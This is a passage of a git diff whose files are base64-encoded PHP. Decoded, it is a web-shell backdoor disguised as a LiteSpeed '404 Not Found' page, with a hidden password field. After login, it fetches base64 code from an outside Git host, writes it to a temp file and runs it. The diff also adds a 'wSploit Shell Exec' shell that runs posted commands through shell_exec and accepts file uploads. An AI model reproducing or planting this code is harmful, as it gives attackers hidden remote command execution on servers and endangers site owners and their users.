LmNvbS9jYWxlbmRhci8mcXVvdDssJnF1b3Q7Ly93d3cuZ29vZ2xlLmNvbS9tYXBzL2VtYmVkJnF1
|
||||
b3Q7LCZxdW90O3Nwb3RpZnkuY29tLyZxdW90OywmcXVvdDtzb3VuZGNsb3VkLmNvbS8mcXVvdDss
|
||||
JnF1b3Q7Ly9wbGF5ZXIudmltZW8uY29tLyZxdW90OywmcXVvdDsvL2Rpc3F1cy5jb20vJnF1b3Q7
|
||||
LCZxdW90Oy8vdGd3aWRnZXQuY29tLyZxdW90OywmcXVvdDsvL2pzLmRyaWZ0dC5jb20vJnF1b3Q7
|
||||
LCZxdW90O2ZyaWVuZHMyZm9sbG93LmNvbSZxdW90OywmcXVvdDsvd2lkZ2V0JnF1b3Q7LCZxdW90
|
||||
O2xvZ2luJnF1b3Q7LCZxdW90Oy8vdmlkZW8uYmlnbWlyLm5ldC8mcXVvdDssJnF1b3Q7YmxvZ2dl
|
||||
ci5jb20mcXVvdDssJnF1b3Q7Ly9zbWFydGxvY2suZ29vZ2xlLmNvbS8mcXVvdDssJnF1b3Q7Ly9r
|
||||
ZWVwLmdvb2dsZS5jb20vJnF1b3Q7LCZxdW90Oy93ZWIudG9sc3RveWNvbW1lbnRzLmNvbS8mcXVv
|
||||
dDssJnF1b3Q7bW96LWV4dGVuc2lvbjovLyZxdW90OywmcXVvdDtjaHJvbWUtZXh0ZW5zaW9uOi8v
|
||||
JnF1b3Q7LCZxdW90Oy9hdXRoLyZxdW90OywmcXVvdDsvL2FuYWx5dGljcy5nb29nbGUuY29tLyZx
|
||||
dW90OywmcXVvdDthZGNsYXJpdHkuY29tJnF1b3Q7LCZxdW90O3BhZGRsZS5jb20vY2hlY2tvdXQm
|
||||
cXVvdDssJnF1b3Q7aGNhcHRjaGEuY29tJnF1b3Q7LCZxdW90O3JlY2FwdGNoYS5uZXQmcXVvdDss
|
||||
JnF1b3Q7MmNhcHRjaGEuY29tJnF1b3Q7LCZxdW90O2FjY291bnRzLmdvb2dsZS5jb20mcXVvdDss
|
||||
JnF1b3Q7d3d3Lmdvb2dsZS5jb20vc2hvcHBpbmcvY3VzdG9tZXJyZXZpZXdzJnF1b3Q7LCZxdW90
|
||||
O2J1eS50aW55cGFzcy5jb20mcXVvdDssJnF1b3Q7Z3N0YXRpYy5jb20mcXVvdDssJnF1b3Q7c2Vj
|
||||
dXJlaXIuZWJheXN0YXRpYy5jb20mcXVvdDssJnF1b3Q7ZG9jcy5nb29nbGUuY29tJnF1b3Q7LCZx
|
||||
dW90O2NvbnRhY3RzLmdvb2dsZS5jb20mcXVvdDssJnF1b3Q7Z2l0aHViLmNvbSZxdW90OywmcXVv
|
||||
dDttYWlsLmdvb2dsZS5jb20mcXVvdDssJnF1b3Q7Y2hhdC5nb29nbGUuY29tJnF1b3Q7LCZxdW90
|
||||
O2F1ZGlvLnhwbGVlci5jb20mcXVvdDssJnF1b3Q7a2VlcGEuY29tJnF1b3Q7LCZxdW90O3N0YXRp
|
||||
Yy54eC5mYmNkbi5uZXQmcXVvdDssJnF1b3Q7c2FzLnNlbGxlcmFtcC5jb20mcXVvdDssJnF1b3Q7
|
||||
MXBsdXMxLnZpZGVvJnF1b3Q7LCZxdW90O2NvbnNvbGUuZ29vZ2xldGFnc2VydmljZXMuY29tJnF1
|
||||
b3Q7LCZxdW90Oy8vbG5rZC5kZW1kZXgubmV0LyZxdW90OywmcXVvdDsvL3JhZGFyLmNlZGV4aXMu
|
||||
Y29tLyZxdW90OywmcXVvdDsvL2xpLnByb3RlY2h0cy5uZXQvJnF1b3Q7LCZxdW90O2NoYWxsZW5n
|
||||
ZXMuY2xvdWRmbGFyZS5jb20vJnF1b3Q7LCZxdW90O29ncy5nb29nbGUuY29tJnF1b3Q7XSIgc3Jj
|
||||
PSJjaHJvbWUtZXh0ZW5zaW9uOi8vZXBwaW9jZW1obW5sYmhqcGxjZ2tvZmNpaWVnb21jb24vLi4v
|
||||
ZXhlY3V0ZXJzL3ZpLXRyLmpzIj48L3NjcmlwdD4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAg
|
||||
IEBtZWRpYSAocHJlZmVycy1jb2xvci1zY2hlbWU6ZGFyayl7Ym9keXtiYWNrZ3JvdW5kLWNvbG9y
|
||||
OiMwMDAhaW1wb3J0YW50fX0KICAgICAgICAgICAgLmlucHV0a2V5IHsKICAgICAgICAgICAgICAg
|
||||
IGJhY2tncm91bmQtY29sb3I6ICMwMDA7CiAgICAgICAgICAgICAgICBib3JkZXI6IDAgIzAwMDsK
|
||||
ICAgICAgICAgICAgICAgIGNvbG9yOiBncmV5OwogICAgICAgICAgICB9CiAgICAgICAgICAgIC5i
|
||||
dG5rZXkgewogICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzAwMDsKICAgICAgICAg
|
||||
ICAgICAgIGNvbG9yOiAjMDAwOwogICAgICAgICAgICB9CiAgICAgICAgICAgIDwvc3R5bGU+CiAg
|
||||
ICAgICAgPC9oZWFkPgoKICAgICAgICA8Ym9keSBzdHlsZT0iY29sb3I6ICM0NDQ7IG1hcmdpbjow
|
||||
O2ZvbnQ6IG5vcm1hbCAxNHB4LzIwcHggQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsgaGVp
|
||||
Z2h0OjEwMCU7IGJhY2tncm91bmQtY29sb3I6ICNmZmY7IiBfX3Byb2Nlc3NlZF82NDI1MmNlZC00
|
||||
ZDk0LTQyNDUtYmU0My1hNjhmMDJhNGFlMjhfXz0idHJ1ZSIgYmlzX3JlZ2lzdGVyPSJXM3NpYldG
|
||||
emRHVnlJanAwY25WbExDSmxlSFJsYm5OcGIyNUpaQ0k2SW1Wd2NHbHZZMlZ0YUcxdWJHSm9hbkJz
|
||||
WTJkcmIyWmphV2xsWjI5dFkyOXVJaXdpWVdSaWJHOWphMlZ5VTNSaGRIVnpJanA3SWtSSlUxQk1R
|
||||
VmtpT2lKbGJtRmliR1ZrSWl3aVJrRkRSVUpQVDBzaU9pSmxibUZpYkdWa0lpd2lWRmRKVkZSRlVp
|
||||
STZJbVZ1WVdKc1pXUWlMQ0pTUlVSRVNWUWlPaUpsYm1GaWJHVmtJaXdpVUVsT1ZFVlNSVk5VSWpv
|
||||
aVpXNWhZbXhsWkNJc0lrbE9VMVJCUjFKQlRTSTZJbVZ1WVdKc1pXUWlMQ0pNU1U1TFJVUkpUaUk2
|
||||
SW1ScGMyRmliR1ZrSWl3aVEwOU9Sa2xISWpvaVpHbHpZV0pzWldRaWZTd2lkbVZ5YzJsdmJpSTZJ
|
||||
akl1TUM0eE5pSXNJbk5qYjNKbElqb3lNREF4TmpCOVhRPT0iPgogICAgICAgIDxkaXYgc3R5bGU9
|
||||
ImhlaWdodDphdXRvOyBtaW4taGVpZ2h0OjEwMCU7ICIgYmlzX3NraW5fY2hlY2tlZD0iMSI+ICAg
|
||||
ICA8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7IHdpZHRoOjgwMHB4OyBtYXJnaW4tbGVm
|
||||
dDogLTQwMHB4OyBwb3NpdGlvbjphYnNvbHV0ZTsgdG9wOiAzMCU7IGxlZnQ6NTAlOyIgYmlzX3Nr
|
||||
aW5fY2hlY2tlZD0iMSI+CiAgICAgICAgPGgxIHN0eWxlPSJtYXJnaW46MDsgZm9udC1zaXplOjE1
|
||||
MHB4OyBsaW5lLWhlaWdodDoxNTBweDsgZm9udC13ZWlnaHQ6Ym9sZDsiPjQwNDwvaDE+CiAgICAg
|
||||
ICAgPGgyIHN0eWxlPSJtYXJnaW4tdG9wOjIwcHg7Zm9udC1zaXplOiAzMHB4OyI+Tm90IEZvdW5k
|
||||
CiAgICAgICAgPC9oMj4KICAgICAgICA8cD5UaGUgcmVzb3VyY2UgcmVxdWVzdGVkIGNvdWxkIG5v
|
||||
dCBiZSBmb3VuZCBvbiB0aGlzIHNlcnZlciE8L3A+CiAgICAgICAgPD9waHAgaWYgKCRlcnJvcl9t
|
||||
ZXNzYWdlKTogPz4KICAgICAgICAgICAgPHAgc3R5bGU9ImNvbG9yOiByZWQ7Ij48P3BocCBlY2hv
|
||||
ICRlcnJvcl9tZXNzYWdlOyA/PjwvcD4KICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICA8
|
||||
Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iIj4KICAgICAgICAgICAgPGxhYmVsIGZvcj0ia2V5
|
||||
Ij48L2xhYmVsPgogICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImlucHV0a2V5IiB0eXBlPSJwYXNz
|
||||
d29yZCIgbmFtZT0ia2V5IiBpZD0ia2V5IiByZXF1aXJlZD4KICAgICAgICAgICAgCiAgICAgICAg
|
||||
PC9mb3JtPgogICAgICAgIDwvZGl2PjwvZGl2PjxkaXYgc3R5bGU9ImNvbG9yOiNmMGYwZjA7IGZv
|
||||
bnQtc2l6ZToxMnB4O21hcmdpbjphdXRvO3BhZGRpbmc6MHB4IDMwcHggMHB4IDMwcHg7cG9zaXRp
|
||||
b246cmVsYXRpdmU7Y2xlYXI6Ym90aDtoZWlnaHQ6MTAwcHg7bWFyZ2luLXRvcDotMTAxcHg7YmFj
|
||||
a2dyb3VuZC1jb2xvcjojNDc0NzQ3O2JvcmRlci10b3A6IDFweCBzb2xpZCByZ2JhKDAsMCwwLDAu
|
||||
MTUpO2JveC1zaGFkb3c6IDAgMXB4IDAgcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjMpIGluc2V0OyIg
|
||||
YmlzX3NraW5fY2hlY2tlZD0iMSI+CiAgICAgICAgPGJyPlByb3VkbHkgcG93ZXJlZCBieSBMaXRl
|
||||
U3BlZWQgV2ViIFNlcnZlcjxwPlBsZWFzZSBiZSBhZHZpc2VkIHRoYXQgTGl0ZVNwZWVkIFRlY2hu
|
||||
b2xvZ2llcyBJbmMuIGlzIG5vdCBhIHdlYiBob3N0aW5nIGNvbXBhbnkgYW5kLCBhcyBzdWNoLCBo
|
||||
YXMgbm8gY29udHJvbCBvdmVyIGNvbnRlbnQgZm91bmQgb24gdGhpcyBzaXRlLjwvcD48L2Rpdj4K
|
||||
CiAgICA8L2JvZHk+CiAgICA8L2h0bWw+CiAgICA8P3BocAp9CgovLyBGdW5nc2kgdW50dWsgbWVu
|
||||
YW1waWxrYW4gaGFsYW1hbiBkYXNoYm9hcmQKZnVuY3Rpb24gc2hvd19kYXNoYm9hcmQoKSB7CiAg
|
||||
ICA/PgogICAgPCFET0NUWVBFIGh0bWw+CiAgICA8aHRtbCBsYW5nPSJlbiI+CiAgICA8aGVhZD4K
|
||||
ICAgICAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICAgICAgPG1ldGEgbmFtZT0idmlld3Bv
|
||||
cnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAiPgogICAg
|
||||
ICAgIDx0aXRsZT53U3Bsb2l0IFNoZWxsIEV4ZWM8L3RpdGxlPgogICAgPC9oZWFkPgogICAgPGJv
|
||||
ZHk+CiAgICA8P3BocAoKZnVuY3Rpb24gZ2V0X2NvbnRlbnRzKCR1cmwpIHsKICAgICRjaCA9IGN1
|
||||
cmxfaW5pdCgkdXJsKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZF
|
||||
UiwgMSk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwog
|
||||
ICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgIk1vemlsbGEvNS4wIChXaW5k
|
||||
b3dzIE5UIDYuMTsgcnY6MzIuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8zMi4wIik7CiAgICBj
|
||||
dXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOwogICAgY3VybF9zZXRv
|
||||
cHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsKICAgICRyZXN1bHQgPSBjdXJsX2V4
|
||||
ZWMoJGNoKTsKICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgIHJldHVybiAkcmVzdWx0Owp9CgokdXJs
|
||||
ID0gJ2h0dHBzOi8vZ2l0LndhcmNldXByb2plY3Qub3JnL3N5bi93U3Bsb2l0SHViL3Jhdy9icmFu
|
||||
Y2gvbWFpbi9yYXcvZW53c2hlbGwnOwokZW5jb2RlZF9jb2RlID0gZ2V0X2NvbnRlbnRzKCR1cmwp
|
||||
OwokZGVjb2RlZF9jb2RlID0gYmFzZTY0X2RlY29kZSgkZW5jb2RlZF9jb2RlKTsKCgokdGVtcEZp
|
||||
bGUgPSB0ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgJ3RtcF9waHBfJyk7CmZpbGVfcHV0X2Nv
|
||||
bnRlbnRzKCR0ZW1wRmlsZSwgJGRlY29kZWRfY29kZSk7CgoKcmVxdWlyZV9vbmNlICR0ZW1wRmls
|
||||
ZTsKdW5saW5rKCR0ZW1wRmlsZSk7IAoKPz4KPGEgaHJlZj0iP2FjdGlvbj1sb2dvdXQiPkxvZ291
|
||||
dDwvYT4KICAgIDwvYm9keT4KICAgIDwvaHRtbD4KICAgIDw/cGhwCn0KCi8vIENlayBhcGFrYWgg
|
||||
dXNlciBtZW1pbnRhIGxvZ291dAppZiAoaXNzZXQoJF9HRVRbJ2FjdGlvbiddKSAmJiAkX0dFVFsn
|
||||
YWN0aW9uJ10gPT09ICdsb2dvdXQnKSB7CiAgICBzZXNzaW9uX2Rlc3Ryb3koKTsKICAgIGhlYWRl
|
||||
cigiTG9jYXRpb246ID8iKTsgLy8gUmVkaXJlY3Qga2UgaGFsYW1hbiBsb2dpbgogICAgZXhpdDsK
|
||||
fQoKLy8gQ2VrIGFwYWthaCBmb3JtIGxvZ2luIHRlbGFoIGRpLXN1Ym1pdAokZXJyb3JfbWVzc2Fn
|
||||
ZSA9ICcnOwppZiAoaXNzZXQoJF9QT1NUWydrZXknXSkpIHsKICAgICRpbnB1dF9rZXkgPSAkX1BP
|
||||
U1RbJ2tleSddOwogICAgJGlucHV0X2tleV9oYXNoID0gbWQ1KCRpbnB1dF9rZXkpOyAvLyBIYXNo
|
||||
IE1ENSBkYXJpIGtleSB5YW5nIGRpbWFzdWtrYW4KCiAgICAvLyBDZWsgYXBha2FoIGhhc2gga2V5
|
||||
IHlhbmcgZGltYXN1a2thbiB2YWxpZAogICAgaWYgKCRpbnB1dF9rZXlfaGFzaCA9PT0gJHZhbGlk
|
||||
X2tleV9oYXNoKSB7CiAgICAgICAgJF9TRVNTSU9OWydsb2dnZWRpbiddID0gdHJ1ZTsKICAgICAg
|
||||
ICBoZWFkZXIoIkxvY2F0aW9uOiA/Iik7IC8vIFJlZGlyZWN0IGtlIGhhbGFtYW4gbG9naW4gdW50
|
||||
dWsgcmVmcmVzaAogICAgICAgIGV4aXQ7CiAgICB9IGVsc2UgewogICAgICAgICRlcnJvcl9tZXNz
|
||||
YWdlID0gIktleSB5YW5nIGRpbWFzdWtrYW4gc2FsYWghIjsgLy8gUGVzYW4ga2VzYWxhaGFuCiAg
|
||||
ICB9Cn0KCi8vIEppa2Egc3VkYWggbG9naW4sIHRhbXBpbGthbiBkYXNoYm9hcmQKaWYgKGlzc2V0
|
||||
KCRfU0VTU0lPTlsnbG9nZ2VkaW4nXSkgJiYgJF9TRVNTSU9OWydsb2dnZWRpbiddID09PSB0cnVl
|
||||
KSB7CiAgICBzaG93X2Rhc2hib2FyZCgpOwp9IGVsc2UgewogICAgLy8gSmlrYSBiZWx1bSBsb2dp
|
||||
biBhdGF1IGtleSBzYWxhaCwgdGFtcGlsa2FuIGZvcm0gbG9naW4KICAgIHNob3dfbG9naW5fZm9y
|
||||
bSgkZXJyb3JfbWVzc2FnZSk7Cn0KPz4K
|
186
raw/enwshell
Normal file
186
raw/enwshell
Normal file
@ -0,0 +1,186 @@
|
||||
PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0
|
||||
PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNl
|
||||
LXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+d1NwbG9pdCBTaGVsbCBFeGVj
|
||||
PC90aXRsZT4KICAgIDxzdHlsZT4KICAgICAgICBib2R5IHsKICAgICAgICAgICAgZm9udC1mYW1p
|
||||
bHk6ICdDb3VyaWVyIE5ldycsIENvdXJpZXIsIG1vbm9zcGFjZTsKICAgICAgICAgICAgbWFyZ2lu
|
||||
OiAwOwogICAgICAgICAgICBwYWRkaW5nOiAwOwogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVu
|
||||
OyAvKiBNZW55ZW1idW55aWthbiBzY3JvbGxiYXIgKi8KICAgICAgICB9CiAgICAgICAgLmNvbnRh
|
||||
aW5lciB7CiAgICAgICAgICAgIG1heC13aWR0aDogODAwcHg7CiAgICAgICAgICAgIG1hcmdpbjog
|
||||
MCBhdXRvOwogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICAgICAgICAgIHotaW5k
|
||||
ZXg6IDEwOyAvKiBBZ2FyIGtvbnRlbiBkaSBhdGFzIGh1amFuIG1hdHJpa3MgKi8KICAgICAgICB9
|
||||
CiAgICAgICAgLnRlcm1pbmFsIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgz
|
||||
MCwgMzAsIDMwLCAwLjgpOyAvKiBUcmFuc3BhcmFuIHNlZGlraXQgKi8KICAgICAgICAgICAgY29s
|
||||
b3I6ICNmZmZmZmY7CiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7CiAgICAgICAgICAgIGJvcmRl
|
||||
ci1yYWRpdXM6IDVweDsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIGhlaWdo
|
||||
dDogMzAwcHg7CiAgICAgICAgICAgIG92ZXJmbG93LXk6IGF1dG87CiAgICAgICAgICAgIG1hcmdp
|
||||
bi1ib3R0b206IDIwcHg7CiAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBwcmUtd3JhcDsKICAgICAg
|
||||
ICAgICAgYm94LXNpemluZzogYm9yZGVyLWJveDsKICAgICAgICB9CiAgICAgICAgLm91dHB1dC1z
|
||||
dWNjZXNzIHsKICAgICAgICAgICAgY29sb3I6ICMwZjA7IC8qIFdhcm5hIGhpamF1IHVudHVrIG91
|
||||
dHB1dCBzdWtzZXMgKi8KICAgICAgICB9CiAgICAgICAgLm91dHB1dC1lcnJvciB7CiAgICAgICAg
|
||||
ICAgIGNvbG9yOiAjZjAwOyAvKiBXYXJuYSBtZXJhaCB1bnR1ayBvdXRwdXQgZXJyb3IgKi8KICAg
|
||||
ICAgICB9CiAgICAgICAgLmlucHV0IHsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAg
|
||||
ICAgIHBhZGRpbmc6IDEwcHg7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7CiAgICAg
|
||||
ICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQg
|
||||
I2NjYzsKICAgICAgICAgICAgYm94LXNpemluZzogYm9yZGVyLWJveDsKICAgICAgICAgICAgZm9u
|
||||
dC1mYW1pbHk6ICdDb3VyaWVyIE5ldycsIENvdXJpZXIsIG1vbm9zcGFjZTsKICAgICAgICB9CiAg
|
||||
ICAgICAgLnN1Ym1pdC1idG4gewogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDIwcHg7CiAgICAg
|
||||
ICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMwMDdCRkY7CiAgICAgICAgICAgIGNvbG9yOiAjZmZm
|
||||
OwogICAgICAgICAgICBib3JkZXI6IG5vbmU7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNw
|
||||
eDsKICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOwogICAgICAgICAgICB3aWR0aDogMTAwJTsK
|
||||
ICAgICAgICAgICAgYm94LXNpemluZzogYm9yZGVyLWJveDsKICAgICAgICB9CiAgICAgICAgQG1l
|
||||
ZGlhIChtaW4td2lkdGg6IDYwMHB4KSB7CiAgICAgICAgICAgIC5zdWJtaXQtYnRuIHsKICAgICAg
|
||||
ICAgICAgICAgIHdpZHRoOiBhdXRvOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIC8q
|
||||
IEdheWEgdW50dWsgZWZlayBodWphbiBtYXRyaWtzICovCiAgICAgICAgLm1hdHJpeC1yYWluIHsK
|
||||
ICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICAgICAgICB0b3A6IDA7CiAgICAg
|
||||
ICAgICAgIGxlZnQ6IDA7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBoZWln
|
||||
aHQ6IDEwMCU7CiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47CiAgICAgICAgICAgIHotaW5k
|
||||
ZXg6IDE7IC8qIERpIGJhd2FoIGtvbnRlbiB1dGFtYSAqLwogICAgICAgIH0KICAgICAgICBjYW52
|
||||
YXMgewogICAgICAgICAgICBkaXNwbGF5OiBibG9jazsgLyogTWVuZ2hpbGFuZ2thbiBzcGFzaSBk
|
||||
aSBiYXdhaCBjYW52YXMgKi8KICAgICAgICB9CiAgICAgICAgLyogR2F5YSB1bnR1ayBsb2dvICov
|
||||
CiAgICAgICAgLmxvZ28gewogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAg
|
||||
ICAgIHRvcDogMjBweDsgLyogSmFyYWsgZGFyaSBhdGFzICovCiAgICAgICAgICAgIHJpZ2h0OiAy
|
||||
MHB4OyAvKiBKYXJhayBkYXJpIGthbmFuICovCiAgICAgICAgICAgIHdpZHRoOiA2MHB4OyAvKiBV
|
||||
a3VyYW4gbG9nbyAqLwogICAgICAgICAgICBoZWlnaHQ6IDYwcHg7IC8qIFVrdXJhbiBsb2dvICov
|
||||
CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDUwJTsgLyogTWVtYnVhdCBsb2dvIGJlcmJlbnR1
|
||||
ayBidWxhdCAqLwogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOyAvKiBNZW55ZW1idW55aWth
|
||||
biBiYWdpYW4gbG9nbyB5YW5nIGxlYmloIGRhcmkgYmVudHVrIGJ1bGF0ICovCiAgICAgICAgICAg
|
||||
IGJveC1zaGFkb3c6IDAgMCAxNXB4IHJnYmEoMCwgMCwgMCwgMC41KTsgLyogRWZlayBiYXlhbmdh
|
||||
biAqLwogICAgICAgICAgICB6LWluZGV4OiAxMDsgLyogRGkgYXRhcyBlbGVtZW4gbGFpbiAqLwog
|
||||
ICAgICAgIH0KICAgICAgICAubG9nbyBpbWcgewogICAgICAgICAgICB3aWR0aDogMTAwJTsgLyog
|
||||
TWVuZ2lzaSBlbGVtZW4gbG9nbyAqLwogICAgICAgICAgICBoZWlnaHQ6IGF1dG87IC8qIE1lbmph
|
||||
Z2EgcmFzaW8gYXNwZWsgKi8KICAgICAgICB9CiAgICAgICAgLyogR2F5YSB1bnR1ayB0ZWtzIGp1
|
||||
ZHVsICovCiAgICAgICAgLnR5cGluZy1lZmZlY3QgewogICAgICAgICAgICBjb2xvcjogIzBGMDsg
|
||||
LyogV2FybmEgaGlqYXUgKi8KICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4OyAvKiBVa3VyYW4g
|
||||
Zm9udCBqdWR1bCAqLwogICAgICAgICAgICB3aGl0ZS1zcGFjZTogbm93cmFwOyAvKiBNZW5jZWdh
|
||||
aCBwZW1pc2FoYW4ga2F0YSAqLwogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOyAvKiBNZW55
|
||||
ZW1idW55aWthbiBiYWdpYW4geWFuZyB0aWRhayB0ZXJsaWhhdCAqLwogICAgICAgICAgICBib3Jk
|
||||
ZXItcmlnaHQ6IDNweCBzb2xpZCAjMEYwOyAvKiBFZmVrIGt1cnNvciAqLwogICAgICAgICAgICBh
|
||||
bmltYXRpb246IGJsaW5rIDFzIHN0ZXAtZW5kIGluZmluaXRlOyAvKiBFZmVrIGJlcmtlZGlwICov
|
||||
CiAgICAgICAgfQogICAgICAgIC8qIEFuaW1hc2kgYmVya2VkaXAgKi8KICAgICAgICBAa2V5ZnJh
|
||||
bWVzIGJsaW5rIHsKICAgICAgICAgICAgNTAlIHsKICAgICAgICAgICAgICAgIGJvcmRlci1jb2xv
|
||||
cjogdHJhbnNwYXJlbnQ7IC8qIFNlbWJ1bnlpa2FuIGt1cnNvciBzYWF0IGJlcmtlZGlwICovCiAg
|
||||
ICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgLmgxLWhlYWQgewogICAgICAgICAgICBjb2xv
|
||||
cjogd2hpdGU7CiAgICAgICAgICAgIGJvcmRlcjogc29saWQgMXB4ICMwZjA7CiAgICAgICAgfQog
|
||||
ICAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KCjxkaXYgY2xhc3M9Im1hdHJpeC1yYWluIj4KICAg
|
||||
IDxjYW52YXMgaWQ9ImNhbnZhcyI+PC9jYW52YXM+CjwvZGl2PgoKPGRpdiBjbGFzcz0iY29udGFp
|
||||
bmVyIj4KICAgIDxoMSBjbGFzcz0iaDEtaGVhZCIgYWxpZ249ImNlbnRlciI+d1NwbG9pdCBTaGVs
|
||||
bCBFeGVjPC9oMT4gICAgCiAgICA8ZGl2IGNsYXNzPSJ0eXBpbmctZWZmZWN0IiBpZD0idHlwaW5n
|
||||
LXRpdGxlIj48L2Rpdj4gPCEtLSBUZW1wYXQganVkdWwgZGVuZ2FuIGVmZWsga2V0aWsgLS0+Cgog
|
||||
ICAgPCEtLSBMb2dvIC0tPgogICAgPGRpdiBjbGFzcz0ibG9nbyI+CiAgICAgICAgPGltZyBzcmM9
|
||||
Imh0dHBzOi8vZ2l0LndhcmNldXByb2plY3Qub3JnL3N5bi93U3Bsb2l0SHViL3Jhdy9icmFuY2gv
|
||||
bWFpbi9pbWcvd3NwbG9pdC5qcGVnIiBhbHQ9IkxvZ28iPgogICAgPC9kaXY+CgogICAgPCEtLSBU
|
||||
ZXJtaW5hbCBPdXRwdXQgU2VjdGlvbiAtLT4KICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsIj4KICAg
|
||||
ICAgICA8cHJlPgogICAgICAgIDw/cGhwCiAgICAgICAgaWYgKCRfU0VSVkVSWydSRVFVRVNUX01F
|
||||
VEhPRCddID09PSAnUE9TVCcpIHsKICAgICAgICAgICAgLy8gSmlrYSBwZXJtaW50YWFuIHVudHVr
|
||||
IGVrc2VrdXNpIHBlcmludGFoCiAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ2NvbW1hbmQn
|
||||
XSkpIHsKICAgICAgICAgICAgICAgICRjb21tYW5kID0gJF9QT1NUWydjb21tYW5kJ107CgogICAg
|
||||
ICAgICAgICAgICAgLy8gRmlsdGVyIHBlcmludGFoIHVudHVrIGtlYW1hbmFuCiAgICAgICAgICAg
|
||||
ICAgICBpZiAoIWVtcHR5KCRjb21tYW5kKSkgewogICAgICAgICAgICAgICAgICAgIC8vIEVrc2Vr
|
||||
dXNpIHBlcmludGFoIG1lbmdndW5ha2FuIHNoZWxsX2V4ZWMKICAgICAgICAgICAgICAgICAgICAk
|
||||
b3V0cHV0ID0gc2hlbGxfZXhlYygkY29tbWFuZCAuICIgMj4mMSIpOwogICAgICAgICAgICAgICAg
|
||||
ICAgIGlmICgkb3V0cHV0KSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxzcGFuIGNs
|
||||
YXNzPSdvdXRwdXQtc3VjY2Vzcyc+IiAuIGh0bWxzcGVjaWFsY2hhcnMoJG91dHB1dCkgLiAiPC9z
|
||||
cGFuPiI7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAg
|
||||
ICAgZWNobyAiPHNwYW4gY2xhc3M9J291dHB1dC1lcnJvcic+VGlkYWsgYWRhIG91dHB1dCBhdGF1
|
||||
IHBlcmludGFoIHRpZGFrIHZhbGlkITwvc3Bhbj4iOwogICAgICAgICAgICAgICAgICAgIH0KICAg
|
||||
ICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNwYW4gY2xh
|
||||
c3M9J291dHB1dC1lcnJvcic+TWFzdWtrYW4gcGVyaW50YWggeWFuZyB2YWxpZCE8L3NwYW4+IjsK
|
||||
ICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gSmlr
|
||||
YSBwZXJtaW50YWFuIHVudHVrIHVuZ2dhaCBmaWxlCiAgICAgICAgaWYgKCRfU0VSVkVSWydSRVFV
|
||||
RVNUX01FVEhPRCddID09PSAnUE9TVCcgJiYgaXNzZXQoJF9GSUxFU1snZmlsZSddKSkgewogICAg
|
||||
ICAgICAgICAkZmlsZSA9ICRfRklMRVNbJ2ZpbGUnXTsKICAgICAgICAgICAgJHVwbG9hZERpcmVj
|
||||
dG9yeSA9ICd1cGxvYWRzLyc7CgogICAgICAgICAgICAvLyBCdWF0IGRpcmVrdG9yaSBqaWthIGJl
|
||||
